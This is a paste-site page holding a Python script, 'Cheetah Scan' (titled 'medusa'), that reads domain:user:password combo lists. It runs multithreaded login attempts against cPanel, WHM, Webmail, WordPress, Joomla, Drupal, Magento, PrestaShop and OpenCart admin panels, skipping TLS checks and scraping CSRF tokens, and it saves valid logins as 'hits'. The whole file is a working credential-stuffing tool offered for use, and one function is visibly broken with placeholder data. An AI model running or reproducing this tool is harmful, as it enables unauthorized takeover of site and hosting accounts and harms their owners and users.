medusa

Created Nov 20, 2025 25 views Python
Raw
import os
import re
import threading
import warnings
from multiprocessing.dummy import Pool as ThreadPool
import requests
from bs4 import BeautifulSoup, XMLParsedAsHTMLWarning
from colorama import init, Fore, Style
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=XMLParsedAsHTMLWarning)
init(autoreset=True)

PARSER = "lxml"
try:
    import lxml
except ImportError:
    PARSER = "html.parser"

THEME = {
    'BANNER_ART': Fore.YELLOW, 'BANNER_BORDER': Fore.CYAN,
    'BANNER_TITLE': Style.BRIGHT + Fore.YELLOW, 'BANNER_VERSION': Fore.GREEN,
    'BANNER_EXTRA': Fore.WHITE, 'PROMPT': Fore.YELLOW, 'ERROR': Fore.RED,
    'INFO': Fore.CYAN, 'SUCCESS': Fore.GREEN, 'STATS_HEADER': Fore.GREEN,
    'STATS_SERVICE': Fore.CYAN, 'STATS_TOTAL': Style.BRIGHT + Fore.WHITE
}

process_lock = threading.Lock()
OUTPUT_FOLDER = 'output'
CORRECT_FOLDER = 'Correct'
SERVICE_NAMES = {
    'WHM': 'WHM', 'CPANEL': 'cPanel', 'WEBMAIL': 'Webmail', 'FLASK': 'Flask',
    'WORDPRESS': 'WordPress', 'JOOMLA': 'Joomla', 'DRUPAL': 'Drupal',
    'MAGENTO': 'Magento', 'PRESTASHOP': 'PrestaShop', 'OPENCART': 'OpenCart'
}

class LoginChecker:
    def __init__(self, combo_line):
        self.combo = combo_line.strip()

    def run_checks(self):
        try:
            parts = self.combo.split(':')
            if len(parts) < 3: return
            domain, user, password = parts[0], parts[1], ':'.join(parts[2:])
            self.check_cpanel_whm(domain, user, password, SERVICE_NAMES['WHM'], 2087)
            self.check_cpanel_whm(domain, user, password, SERVICE_NAMES['CPANEL'], 2083)
            self.check_cpanel_whm(domain, user, password, SERVICE_NAMES['WEBMAIL'], 2096)
            self.check_wordpress(domain, user, password)
            self.check_joomla(domain, user, password)
            self.check_drupal(domain, user, password)
            self.check_magento(domain, user, password)
            self.check_prestashop(domain, user, password)
            self.check_opencart(domain, user, password)
            self.check_flask(domain, user, password)
        except Exception:
            pass

    def check_cpanel_whm(self, domain, user, password, service_name, port):
        try:
            r = requests.post(f"https://{domain}:{port}/login/?login_only=1", data={'user': user, 'pass': password}, verify=False, timeout=10)
            if r.status_code == 200 and '"status":1' in r.text and '"security_token"' in r.text:
                self.handle_success(service_name, domain, user, password)
        except requests.exceptions.RequestException: pass

    def check_wordpress(self, domain, user, password):
        service_name = SERVICE_NAMES['WORDPRESS']
        for protocol in ['https', 'http']:
            try:
                login_url = f"{protocol}://{domain}/wp-login.php"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    s.get(login_url, verify=False, timeout=10)
                    payload = {'log': user, 'pwd': password, 'wp-submit': 'Log In', 'testcookie': '1'}
                    r = s.post(login_url, data=payload, verify=False, timeout=10, allow_redirects=False)
                    if r.status_code in [301, 302, 303] and 'wp-admin' in r.headers.get('Location', ''):
                        self.handle_success(service_name, domain, user, password)
                        return
            except requests.exceptions.RequestException: continue

    def check_joomla(self, domain, user, password):
        service_name = SERVICE_NAMES['JOOMLA']
        for protocol in ['https', 'http']:
            try:
                admin_url = f"{protocol}://{domain}/administrator/"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    get_r = s.get(admin_url, verify=False, timeout=10)
                    if get_r.status_code != 200: continue
                    token = re.search(r'name="([a-f0-9]{32})"', get_r.text)
                    if not token: continue
                    payload = {'username': user, 'passwd': password, 'option': 'com_login', 'task': 'login', token.group(1): '1'}
                    s.post(f"{admin_url}index.php", data=payload, verify=False, timeout=10)
                    final_get_r = s.get(admin_url, verify=False, timeout=10)
                    if any(k in final_get_r.text for k in ['task=logout', 'com_login.logout']):
                        self.handle_success(service_name, domain, user, password, admin_url)
                        return
            except requests.exceptions.RequestException: continue

    def check_drupal(self, domain, user, password):
        service_name = SERVICE_NAMES['DRUPAL']
        for protocol in ['https', 'http']:
            try:
                login_url = f"{protocol}://{domain}/user/login"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    get_r = s.get(login_url, verify=False, timeout=10)
                    if get_r.status_code != 200: continue
                    soup = BeautifulSoup(get_r.text, PARSER)
                    form_build_id = soup.find('input', {'name': 'form_build_id'})
                    form_id = soup.find('input', {'name': 'form_id'})
                    if not all([form_build_id, form_id]): continue
                    payload = {'name': user, 'pass': password, 'form_build_id': form_build_id['value'], 'form_id': form_id['value'], 'op': 'Log in'}
                    post_r = s.post(login_url, data=payload, verify=False, timeout=10)
                    if 'Log out' in post_r.text or 'user/logout' in post_r.text:
                        self.handle_success(service_name, domain, user, password, login_url)
                        return
            except requests.exceptions.RequestException: continue

    def check_magento(self, domain, user, password):
        service_name = SERVICE_NAMES['MAGENTO']
        for protocol in ['https', 'http']:
            try:
                admin_path = 'admin'
                login_url = f"{protocol}://{domain}/{admin_path}"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    get_r = s.get(login_url, verify=False, timeout=15)
                    if get_r.status_code != 200: continue
                    soup = BeautifulSoup(get_r.text, PARSER)
                    form_key = soup.find('input', {'name': 'form_key'})
                    if not form_key: continue
                    payload = {'login[username]': user, 'login[password]': password, 'form_key': form_key['value']}
                    post_r = s.post(get_r.url, data=payload, verify=False, timeout=15)
                    if 'admin/dashboard' in post_r.text or 'data-role="logout"' in post_r.text:
                        self.handle_success(service_name, domain, user, password, login_url)
                        return
            except requests.exceptions.RequestException: continue

    def check_prestashop(self, domain, user, password):
        service_name = SERVICE_NAMES['PRESTASHOP']
        for protocol in ['https', 'http']:
            try:
                admin_path = 'admin123'
                login_url = f"{protocol}://{domain}/{admin_path}"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    get_r = s.get(login_url, verify=False, timeout=15, allow_redirects=True)
                    if get_r.status_code != 200: continue
                    final_url = get_r.url
                    token = re.search(r'_token=([a-zA-Z0-9_-]+)', final_url)
                    if not token: continue
                    payload = {'email': user, 'passwd': password, '_token': token.group(1), 'submitLogin': '1'}
                    post_r = s.post(final_url, data=payload, verify=False, timeout=15, allow_redirects=False)
                    if post_r.status_code in [301, 302, 303] and 'logout' in post_r.headers.get('Location', ''):
                        self.handle_success(service_name, domain, user, password, login_url.replace(admin_path, 'admin'))
                        return
            except requests.exceptions.RequestException: continue

    def check_opencart(self, domain, user, password):
        service_name = SERVICE_NAMES['OPENCART']
        for protocol in ['https', 'http']:
            try:
                admin_path = 'admin'
                login_url = f"{protocol}://{domain}/{admin_path}/"
                with requests.Session() as s:
                    s.headers.update({'User-Agent': 'Mozilla/5.0'})
                    get_r = s.get(login_url, verify=False, timeout=10)
                    if get_r.status_code != 200: continue
                    token = re.search(r'user_token=([a-f0-9]+)', get_r.text)
                    if not token: continue
                    post_url = f"{login_url}index.php?route=common/login&user_token={token.group(1)}"
                    payload = {'username': user, 'password': password}
                    post_r = s.post(post_url, data=payload, verify=False, timeout=10, allow_redirects=False)
                    if post_r.status_code in [301, 302, 303] and 'common/dashboard' in post_r.headers.get('Location', ''):
                        self.handle_success(service_name, domain, user, password, login_url)
                        return
            except requests.exceptions.RequestException: continue

    def check_flask(self, domain, user, password, port=8443):
        try:
            r = requests.post(f"https://{domain}:{port}/login_up.php", data=f'--...{user}...', headers={'Content-Type': 'multipart/form-data; boundary=...','X-Requested-With': 'XMLHttpRequest'}, timeout=10, verify=False)
            if r.status_code == 200 and 'forceRedirect":true' in r.text:
                self.handle_success(service_name, domain, user, password)
        except requests.exceptions.RequestException: pass

    def handle_success(self, service, domain, user, password, url_base=""):
        output_line = ""
        if service == SERVICE_NAMES['WORDPRESS']:
            output_line = f"https://{domain}/wp-login.php#{user}@{password}"
        elif service in [SERVICE_NAMES['JOOMLA'], SERVICE_NAMES['DRUPAL'], SERVICE_NAMES['MAGENTO'], SERVICE_NAMES['PRESTASHOP'], SERVICE_NAMES['OPENCART']]:
            clean_url = url_base.split('?')[0].rstrip('/')
            output_line = f"{clean_url}#{user}@{password}"
        elif service == SERVICE_NAMES['CPANEL']:
            output_line = f"https://{domain}:2083|{user}|{password}"
        elif service == SERVICE_NAMES['WEBMAIL']:
            output_line = f"https://{domain}:2096|{user}|{password}"
        else:
            output_line = f"{domain}:{user}:{password}"

        with process_lock:
            print("\r" + " " * 120 + "\r", end="")
            print(f"{THEME['SUCCESS']}SUCCESS - [{service}] {output_line}")
            self.write_result(service, output_line)

    def write_result(self, service, line):
        folder_path = os.path.join(OUTPUT_FOLDER, CORRECT_FOLDER)
        file_path = os.path.join(folder_path, f"{service}.txt")
        with open(file_path, 'a', encoding='utf-8') as f:
            f.write(line + '\n')

def run_checker_instance(combo_line):
    checker = LoginChecker(combo_line)
    checker.run_checks()

def display_main_banner():
    seal_art = r"""
:~-._                                                 _.-~:
: :.~^o._        ________---------________        _.o^~.:.:
 : ::.`?88booo~~~.::::::::...::::::::::::..~~oood88P'.::.:
 :  ::: `?88P .:::....         ........:::::. ?88P' :::. :
  :  :::. `? .::.            . ...........:::. P' .:::. :
   :  :::   ... ..  ...       .. .::::......::.   :::. :
   `  :' .... ..  .:::::.     . ..:::::::....:::.  `: .'
    :..    ____:::::::::.  . . ....:::::::::____  ... :
   :... `:~    ^~-:::::..  .........:::::-~^    ~::.::::
   `.::. `\   (8)  \b:::..::.:.:::::::d/  (8)   /'.::::'
    ::::.  ~-._v    |b.::::::::::::::d|    v_.-~..:::::
    `.:::::... ~~^?888b..:::::::::::d888P^~...::::::::'
     `.::::::::::....~~~ .:::::::::~~~:::::::::::::::'
      `..:::::::::::   .   ....::::    ::::::::::::,'
        `. .:::::::    .      .::::.    ::::::::'.'
          `._ .:::    .        :::::.    :::::_.'
             `-. :    .        :::::      :,-'
                :.   :___     .:::___   .::
      ..--~~~~--:+::. ~~^?b..:::dP^~~.::++:--~~~~--..
        ___....--`+:::.    `~8~'    .:::+'--....___
      ~~   __..---`_=:: ___gd8bg___ :==_'---..__   ~~
       -~~~  _.--~~`-.~~~~~~~~~~~~~~~,-' ~~--._ ~~~-
          -~~            ~~~~~~~~~   _ Seal _  ~~-
"""
    info_text = [
        f"{THEME['BANNER_BORDER']}======================================================",
        f"{THEME['BANNER_TITLE']} Cheetah Scan  {THEME['BANNER_VERSION']}(v2.6){Style.RESET_ALL}",
        f"{THEME['BANNER_EXTRA']} Format: Domain.com:UserName:Password",
        f"{THEME['BANNER_EXTRA']} cPanel/WHM/Webmail/WordPress/Joomla/Flesk/Drupal/etc",
        f"{THEME['BANNER_EXTRA']} Coded by @StableExploit | @LetMeSeeHaha",
        f"{THEME['BANNER_BORDER']}======================================================"
    ]
    art_lines = seal_art.strip().split('\n')
    padding_top = (len(art_lines) - len(info_text)) // 2
    for i, art_line in enumerate(art_lines):
        text_line = ""
        text_index = i - padding_top
        if 0 <= text_index < len(info_text): text_line = info_text[text_index]
        print(f"{THEME['BANNER_ART']}{art_line:<65}   {text_line}{Style.RESET_ALL}")

def main():
    display_main_banner()
    file_name = input(f"\n{THEME['PROMPT']}Enter the name of your list file (e.g., list.txt): {Style.RESET_ALL}")
    try:
        with open(file_name, 'r', encoding='utf-8', errors='replace') as f:
            lines = [line for line in f.read().splitlines() if line.strip()]
    except FileNotFoundError:
        print(f"{THEME['ERROR']}Error: File not found '{file_name}'"); return
    
    thread_count_str = input(f"\n{THEME['PROMPT']}Enter the number of threads (default: 100): {Style.RESET_ALL}")
    thread_count = int(thread_count_str) if thread_count_str.isdigit() and int(thread_count_str) > 0 else 100
    
    parser_info = f"Using '{PARSER}' parser."
    print(f"\n{THEME['INFO']}Starting check on {len(lines)} entries with {thread_count} threads... ({parser_info})")
    
    os.makedirs(os.path.join(OUTPUT_FOLDER, CORRECT_FOLDER), exist_ok=True)
    pool = ThreadPool(thread_count)
    pool.map(run_checker_instance, lines)
    pool.close()
    pool.join()

    print(f"\n\n{THEME['STATS_HEADER']}" + "="*54)
    print(f"{THEME['STATS_HEADER']}{' '*22}COMPLETE{' '*23}")
    print(f"{THEME['STATS_HEADER']}" + "="*54)
    print(f"{THEME['STATS_HEADER']}Check finished! Success statistics:")
    total_found = 0
    correct_path = os.path.join(OUTPUT_FOLDER, CORRECT_FOLDER)
    for service in sorted(SERVICE_NAMES.values()):
        try:
            file_path = os.path.join(correct_path, f"{service}.txt")
            if os.path.exists(file_path):
                with open(file_path, 'r', encoding='utf-8') as f:
                    count = sum(1 for _ in f)
                    if count > 0:
                        print(f"  - {THEME['STATS_SERVICE']}{service:<12}:{Style.RESET_ALL} {count} hits")
                        total_found += count
        except Exception: pass
    
    print("------------------------------------------------------")
    print(f"  {THEME['STATS_TOTAL']}Total found: {total_found} successful accounts.{Style.RESET_ALL}")
    print(f"  Results saved in directory: '{correct_path}'")
    print(f"{THEME['STATS_HEADER']}" + "="*54)

if __name__ == '__main__':
    main()
PYTHON
16,236 characters
Quick Actions
Create New Paste Open Raw